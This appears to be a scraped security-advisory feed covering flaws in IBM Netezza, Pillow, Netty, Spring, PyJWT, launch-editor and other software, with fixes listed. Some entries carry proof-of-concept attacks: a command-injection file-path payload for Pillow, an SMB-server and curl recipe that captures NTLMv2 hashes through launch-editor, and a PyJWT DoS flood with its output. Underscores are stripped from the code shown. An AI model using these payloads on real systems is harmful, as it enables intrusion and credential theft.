Where
AND
-Infinity
0
Severity
5.9
EPSS
0.13%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.

Remedy

IBM strongly recommends addressing the vulnerability now. Fixed Version Remediation/Fixes: 11.3.1.3 IBM Netezza Software Available from https://w3.ibm.com/w3publisher/software-downloads
First published (updated )
Severity
5.9
EPSS
0.11%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.

1 / 2
Source: MITRE

Remedy

IBM strongly recommends addressing the vulnerability now. Fixed Version Remediation/Fixes: 11.3.1.3 IBM Netezza Software Available from https://w3.ibm.com/w3publisher/software-downloads
First published (updated )
Severity
6.5
EPSS
0.19%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 has operations that are performed without validating bucket ownership using the ExpectedBucketOwner parameter. This omission may allow a remote attacker to exploit misconfigurations or naming collisions to redirect application requests to an unintended S3 bucket under their control.

1 / 2
Source: MITRE

Remedy

IBM strongly recommends addressing the vulnerability now. Fixed Version Remediation/Fixes: 11.3.1.3 IBM Netezza Software Available from https://w3.ibm.com/w3publisher/software-downloads
First published (updated )
Severity
5.3
EPSS
0.17%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.

1 / 2
Source: MITRE

Remedy

IBM strongly recommends addressing the vulnerability now. Fixed Version Remediation/Fixes: 11.3.1.3 IBM Netezza Software Available from https://w3.ibm.com/w3publisher/software-downloads
First published (updated )
Severity
4.5
OS Command Injection, Command Injection
AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

1. Summary

WindowsViewer.getcommand() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.

---

2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

python class WindowsViewer(Viewer): format = "PNG" options = {"compresslevel": 1, "saveall": True}

def getcommand(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again )

def showfile(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.getcommand(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATENOWINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1

Contrast with macOS — SAFE (line 164–168): python class MacViewer(Viewer): def getcommand(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied

Cross-platform summary:

| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.

--- 3. Proof of Concept

A full working PoC is at pocpillowinjection.py. Key parts:

Part A — Injection string construction (static, no execution): python from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer() evilpath = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.getcommand(evilpath) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): python import os, tempfile from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer() pocdir = tempfile.mkdtemp() marker = os.path.join(pocdir, "INJECTIONCONFIRMED.txt")

Craft injection: payload writes a marker file (harmless) payload = f'echo REALINJECTED > "{marker}"' evilpath = os.path.join(pocdir, f'poc" & {payload} & echo "')

Call the REAL Pillow getcommand(): realcmd = viewer.getcommand(evilpath)

Execute the same way the base Viewer.showfile() does (os.system): os.system(realcmd)

assert os.path.exists(marker) # PASSES — marker was created assert "REALINJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via getcommand()

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, resolveWritePath() in content/file/file.go uses a lexical filepath.Rel check for workingDir and does not account for symlink traversal, so when AllowPathTraversalOnWrite=false an attacker-controlled blob title through ocispec.AnnotationTitle such as out/pwn.txt can follow a workingDir symlink out - /some/outside/dir and cause pushFile() to create /some/outside/dir/pwn.txt outside workingDir. This issue is fixed in version 2.6.1.

1 / 3
Source: IBM
First published (updated )
Severity
6.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:M/U:Amber

Impact An attacker who can supply input to decodeUriComponent() (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.

Patches Upgrade to decode-uri-component@0.5.0.

Workarounds Limit the size of the input.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

- using Windows - NTLM is not disabled (it is recommended to disable, while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using launch-editor - the server that has the middleware using launch-editor is running - the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share. mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server. $ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-3010-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

Tornado's optional native extension tornado.speedups implements websocketmask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrfcookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADOEXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.

Details

There is a setting in the http2 specification called SETTINGSMAXHEADERLISTSIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”

When a client sends that setting to Netty, it appears that Netty will behave as follows:

- Read the request - Proxy the request to the origin - Attempt to produce a response - Create an exception while writing the headers for the response

Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.

Remediation

When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGSMAXHEADERLISTSIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.

Impact

This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.

Credit Jonathan Looney (Engineering, Netflix)

Contact Ashley Tolbert (Security, Netflix) - artolbert@netflix.com

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

Before reading the first request-line, HttpObjectDecoder skips every byte for which Character.isISOControl(b) is true (0x00–0x1F and 0x7F) as well as all whitespace. RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line — a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes significantly beyond this, and can be exploited for request-boundary confusion in pipelined or multiplexed transports where a front-end component treats those bytes differently.

Affected Code

| File | Lines | Role | |------|-------|------| | codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java | 1298–1313 | ISOCONTROLORWHITESPACE static initialiser — marks all ISO control chars | | codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java | 1307–1313 | SKIPCONTROLCHARSBYTES ByteProcessor — skips the entire set | | codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java | 1275–1289 | LineParser.skipControlChars — advances readerIndex past all matching bytes |

Specification Analysis

RFC 9112 §2.2 — Message Parsing

In the interest of robustness, a server that is expecting to receive and parse a request-line SHOULD ignore at least one empty line (CRLF) received prior to the request-line.

An HTTP/1.1 user agent MUST NOT preface or follow a request with an extra CRLF.

Deviation

The RFC names a single permitted exception: an empty line (bare CRLF, i.e. the two-byte sequence \r\n). The ISOCONTROLORWHITESPACE table is initialised as:

java for (byte b = Byte.MINVALUE; b < Byte.MAXVALUE; b++) { ISOCONTROLORWHITESPACE[128 + b] = Character.isISOControl(b) || isWhitespace(b); }

Character.isISOControl returns true for 0x00–0x1F and 0x7F. This includes NUL (0x00), SOH (0x01), STX (0x02), BEL (0x07), DEL (0x7F), and every other non-CRLF control character. The SKIPCONTROLCHARS state runs this scan unconditionally before the first READINITIAL, meaning any sequence of such bytes prepended to a request is silently consumed.

A load balancer or TLS terminator that does not perform the same scan sees a different message boundary than Netty does, which is the basis of a request-desync / smuggling attack.

Suggested Unit Test

Add to HttpRequestDecoderTest.java.

java @Test public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() { // RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the // request-line. Non-CRLF control bytes are not part of this robustness allowance // and must not be silently swallowed. EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());

ByteBuf buf = Unpooled.buffer(); buf.writeByte(0x00); // NUL — not an empty CRLF line buf.writeByte(0x01); // SOH — not an empty CRLF line buf.writeCharSequence( "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n", CharsetUtil.USASCII);

channel.writeInbound(buf); HttpRequest req = channel.readInbound();

// Current behaviour: NUL and SOH are in ISOCONTROLORWHITESPACE, so they are // silently skipped; the request decodes successfully and isFailure() == false. // // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must // cause a parse error — isFailure() == true. assertTrue( req.decoderResult().isFailure(), "Non-CRLF control bytes before the request-line must not be silently skipped " + "(RFC 9112 §2.2 allows only empty CRLF lines)");

assertFalse(channel.finish()); }

Current behaviour (unfixed): skipControlChars advances past 0x00 and 0x01 because both are in ISOCONTROLORWHITESPACE; the request parses normally, isFailure() is false → test fails.

Expected behaviour after fix: only CRLF empty lines are tolerated; non-CRLF control bytes produce an error, isFailure() is true → test passes.

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
Infoleak
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Summary Netty QUIC exposes the stateless reset token on the network path when using the default HMAC-based connection-ID and stateless-reset-token generators. The reset token for the server's current source connection ID can be derived from bytes that appear as the connection ID in QUIC headers after a source-CID rotation. An on-path attacker observing the headers can use the token to perform a Denial of Service by sending a spoofed Stateless Reset packet.

Details The sign-based connection ID generator (HmacSignQuicConnectionIdGenerator) and reset token generator (HmacSignQuicResetTokenGenerator) both evaluate HMAC-SHA256 with the same JVM-wide static key (io.netty.handler.codec.quic.Hmac).

During source CID rotation (QuicheQuicChannel.newSourceConnectionIds), the current server source CID C is used as input to produce the next CID N. The stateless reset token for C is defined over HMAC(K, C), specifically the first 16 bytes. The next CID N is the first L bytes of the same digest, where L = |C|.

Whenever L ≥ 16, the first 16 bytes of N are exactly the stateless reset token for C. Because N is carried in QUIC headers as a connection ID, an observer can read the headers and learn the reset token without decrypting the payload.

This directly violates RFC 9000 https://datatracker.ietf.org/doc/html/rfc9000#name-calculating-a-stateless-res: The stateless reset token MUST be difficult to guess. Additionally https://datatracker.ietf.org/doc/html/rfc9000#name-stateless-reset-oracle

Impact Information Disclosure and Denial of Service. An on-path attacker can obtain the stateless reset token from the connection ID header and attempt to abruptly close the client side of the connection by sending a spoofed Stateless Reset datagram.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SSRF
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Due to incorrect host parsing, applications that rely on UriComponentsBuilder to parse and validate an externally provided URL string may be exposed to a server-side request forgery (SSRF) attack.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Spring MVC and WebFlux applications are vulnerable to Multipart request smuggling attacks.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

First published (updated )
Severity
5.3
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

A vulnerability in Spring Expression Language (SpEL) evaluation logic allows for arbitrary zero-argument method invocation, even within restricted or read-only contexts, which may allow an attacker to invoke unintended application logic.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

First published (updated )
Severity
6.1
XSS, Code Injection
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

Spring MVC applications which accept user-supplied values in the cssClass, cssErrorClass, or cssStyle attributes of JSP form tags allow arbitrary HTML/JavaScript code injection, potentially resulting in a cross-site scripting (XSS) vulnerability.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Spring WebFlux applications are vulnerable to Denial of Service (DoS) attacks when processing multipart requests. Affected versions: Spring Framework 7.0.0 through 7.0.7, 6.2.0 through 6.2.18, 6.1.0 through 6.1.27, 5.3.0 through 5.3.48.

First published (updated )
Severity
4.2
XSS
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

A WebFlux application with a compromised subdomain (for example, compromised via cross-site scripting (XSS)) is vulnerable to an escalation attack exchanging a known session ID for that of an authenticated user.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

First published (updated )
Severity
6.8
AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N

Summary Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack).

Details Two factors contribute to this vulnerability in io.netty.resolver.dns: - Predictable Query IDs: DnsQueryIdSpace manages 16-bit transaction IDs in buckets of 16,384 IDs. It initializes only the first bucket. When an ID is returned, it is pushed back into the bucket at a random index generated by java.util.concurrent.ThreadLocalRandom:

java Random random = ThreadLocalRandom.current(); int insertionPosition = random.nextInt(count + 1);

Because ThreadLocalRandom is a predictable LCG and the resolver operates within a single bucket, the sequence of IDs is predictable once the PRNG state is mathematically recovered.

- Default Static Source Port: DnsNameResolverBuilder defaults to a channelStrategy of ChannelPerResolver. This binds the DatagramChannel once, resulting in a static source port for all subsequent queries.

Combined, a static source port and predictable transaction IDs reduces the entropy required to secure DNS resolution against spoofing.

Impact DNS Cache Poisoning. Downstream applications using the default Netty DNS resolver may connect to malicious IPs, leading to traffic interception or MitM attacks.

1 / 2
Source: GitHub
First published (updated )
Severity
4
Infoleak
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, nettyunixsocketrecvFd sets msgcontrol to char control[CMSGSPACE(sizeof(int))] (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCMRIGHTS cmsg carrying two ints has cmsglen = CMSGLEN(8) = 24, which fits exactly with no MSGCTRUNC, so the kernel installs both fds in the receiving process. The subsequent check cmsg->cmsglen == CMSGLEN(sizeof(int)) (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSGCTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILEDESCRIPTORS (non-default). Versions 4.1.135.Final and 4.2.15.Final patch the issue.

1 / 3
Source: MITRE
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

[!NOTE] Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.

When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.

For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detachedpayload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.

This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.

---

Affected Component(s)

jwt/apijws.py

PyJWS.decode() / PyJWS.decodecomplete() load() (parsing and Base64URL decoding)

---

Root Cause (exact logic flaw)

What happens in the code

In jwt/apijws.py, decodecomplete() does the following (order matters):

Calls load(jwt) first, which decodes the token segments Only after that, checks header.get("b64") and if False, it replaces payload = detachedpayload and rebuilds the signing input

This behavior is visible in decodecomplete():

load(jwt) happens before the b64=false handling then payload = detachedpayload and signinginput = ... detachedpayload happens afterward ([GitHub][1])

Inside load(), PyJWT unconditionally performs:

payload = base64urldecode(payloadsegment) This is the expensive step the attacker can amplify ([GitHub][1])

Why this becomes a vulnerability

For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detachedpayload as the real payload). Yet PyJWT still decodes it first, meaning:

cost is paid even when signature is invalid the decoded bytes are discarded attacker controls the size of this cost via token length

---

Impact (evidence-driven)

Security impact

Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key. CPU amplification: Base64URL decode time scales linearly with payload segment size. Memory amplification: decoded output allocates large byte buffers (tens of MB per request). Operational impact: request queueing / worker starvation under modest concurrency bursts.

Standards context (RFC 7797)

RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)

---

Affected Versions

Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo). Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])

(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)

---

Threat Model

Typical real deployment

A service verifies signed HTTP requests or webhooks using detached JWS:

token is provided in JSON body / query / header actual payload is the HTTP request body passed as detachedpayload

Attacker

remote unauthenticated client can send requests to verify endpoint does not need a valid signature (invalid signature still triggers the expensive decode path)

Attack chain

1. Attacker crafts a JWS compact token with header containing "b64": false and crit:["b64"]. 2. Attacker inflates the payload segment (middle segment) to millions of Base64URL characters. 3. Server calls PyJWS.decode(...detachedpayload=...). 4. PyJWT decodes the inflated segment (CPU + memory). 5. Signature is rejected afterward (401) — but resources already consumed. 6. Repeated requests or bursts cause queueing/worker starvation → DoS.

---

Proof of Concept - file names + results

PoC placement

serverlocalhost.py

clientlocalhost.py

floodlocalhost.py

---

PoC # 1 - Localhost verification server

File: serverlocalhost.py

Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints: ok / timems / peakbytes / tokenlen / error.

Results (server console output)

text [+] Listening on http://127.0.0.1:8000 [+] POST /verify JSON: {"token": "..."}

[127.0.0.1] ok=True timems=0.102 peakbytes=2624 tokenlen=117 err=None [127.0.0.1] ok=False timems=2.012 peakbytes=2000983 tokenlen=500078 err=InvalidSignatureError [127.0.0.1] ok=True timems=1.591 peakbytes=2001061 tokenlen=500117 err=None

[127.0.0.1] ok=True timems=0.065 peakbytes=2304 tokenlen=117 err=None [127.0.0.1] ok=False timems=7.534 peakbytes=8000983 tokenlen=2000078 err=InvalidSignatureError [127.0.0.1] ok=True timems=6.347 peakbytes=8001061 tokenlen=2000117 err=None

[127.0.0.1] ok=True timems=0.066 peakbytes=2304 tokenlen=117 err=None [127.0.0.1] ok=False timems=23.034 peakbytes=32000983 tokenlen=8000078 err=InvalidSignatureError [127.0.0.1] ok=True timems=22.097 peakbytes=32001061 tokenlen=8000117 err=None

Key takeaways from these results

At 8,000,000 chars, a single invalid-signature request still causes:

~23 ms server work ~32 MB peak allocations returns 401 (invalid signature) → attacker does not need key.

---

PoC # 2 - Localhost network client

File: clientlocalhost.py Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.

Results (client output)

payload-chars = 500,000

text === BASELINE (valid b64=false token) === HTTP: 200 clientwallms: 6.3499... servertimems: 0.10197... serverpeakbytes: 2624

=== ATTACK (INVALID signature - attacker needs no key) === HTTP: 401 clientwallms: 4.1010... servertimems: 2.01217... serverpeakbytes: 2000983 error: InvalidSignatureError

=== ATTACK (VALID signature - accepted path still wastes) === HTTP: 200 clientwallms: 3.6586... servertimems: 1.59092... serverpeakbytes: 2001061

payload-chars = 2,000,000

text === BASELINE === HTTP: 200 servertimems: 0.06527... serverpeakbytes: 2304

=== ATTACK (INVALID signature) === HTTP: 401 servertimems: 7.53430... serverpeakbytes: 8000983

=== ATTACK (VALID signature) === HTTP: 200 servertimems: 6.34682... serverpeakbytes: 8001061

payload-chars = 8,000,000

text === BASELINE === HTTP: 200 servertimems: 0.06573... serverpeakbytes: 2304

=== ATTACK (INVALID signature) === HTTP: 401 servertimems: 23.03403... serverpeakbytes: 32000983

=== ATTACK (VALID signature) === HTTP: 200 servertimems: 22.09702... serverpeakbytes: 32001061

Why this is strong evidence

The server clearly does heavy work before rejecting invalid signatures. The “valid signature” case shows even accepted requests waste resources due to unused payload segment.

---

PoC # 3 - Localhost flood / burst concurrency

File: floodlocalhost.py Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.

Results (your run: 20 concurrent @ 8,000,000 chars)

text totalwallms: 1374.5405770000616

(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError') (19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError') (18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError') (13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError') (11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError') (17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError') (10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError') (7, 401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError') (8, 401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError') (1, 401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')

Interpretation

Each request still costs ~20–23 ms server processing and ~32 MB peak allocations. But client-observed latency rises up to ~1.15 seconds because requests queue behind each other → clear worker starvation/HoL blocking. All were rejected with 401 InvalidSignatureError → still unauthenticated.

---

Fix

Goal

Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in b64=false detached flow.

Minimal change strategy

In load() (or by refactoring parse order), do not Base64-decode payloadsegment until after you know whether b64=false applies.

Two safe options:

1. Reject non-empty payload segment when b64=false

Parse header first If b64 is false and payloadsegment is non-empty → raise DecodeError before decoding Then verification uses detachedpayload only

2. Skip decoding payload segment entirely when b64=false

Keep payload segment as raw bytes or empty Use detached payload for signing input

This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.

(Implementation context: the current decode order and unconditional base64urldecode(payloadsegment) are visible in the file and line region around load() and decodecomplete() ([GitHub][1]).)

---

Workarounds

Enforce strict max token length at the HTTP boundary (proxy/gateway). Apply rate limiting on verification endpoints. If detached JWS (b64=false) is not needed in your app, reject tokens where header includes "b64": false.

1 / 3
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.

PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decodecomplete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.getsigningkeyfromjwt(...) flow.

Summary

PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.

In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.

This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.

Details

In jwt/apijws.py in 2.12.1, verifysignature() treats PyJWK keys differently from normal PEM/public-key inputs:

python if algorithms is None and isinstance(key, PyJWK): algorithms = [key.algorithmname]

...

if not alg or (algorithms is not None and alg not in algorithms): raise InvalidAlgorithmError("The specified alg value is not allowed")

if isinstance(key, PyJWK): algobj = key.Algorithm preparedkey = key.key else: algobj = self.getalgorithmbyname(alg) preparedkey = algobj.preparekey(key)

This logic means:

1. The JWT header alg is checked only as a string against the caller-supplied allow-list. 2. If the key is a PyJWK, the actual verifier is not selected from the header algorithm. 3. Instead, PyJWT always verifies with key.Algorithm, which is fixed when the PyJWK object is created.

PyJWK binds its algorithm in jwt/apijwk.py from the JWK's alg field or from key-type defaults:

python if not algorithm and isinstance(self.jwkdata, dict): algorithm = self.jwkdata.get("alg", None)

...

self.algorithmname = algorithm self.Algorithm = getdefaultalgorithms()[algorithm] self.key = self.Algorithm.fromjwk(self.jwkdata)

So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.

The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:

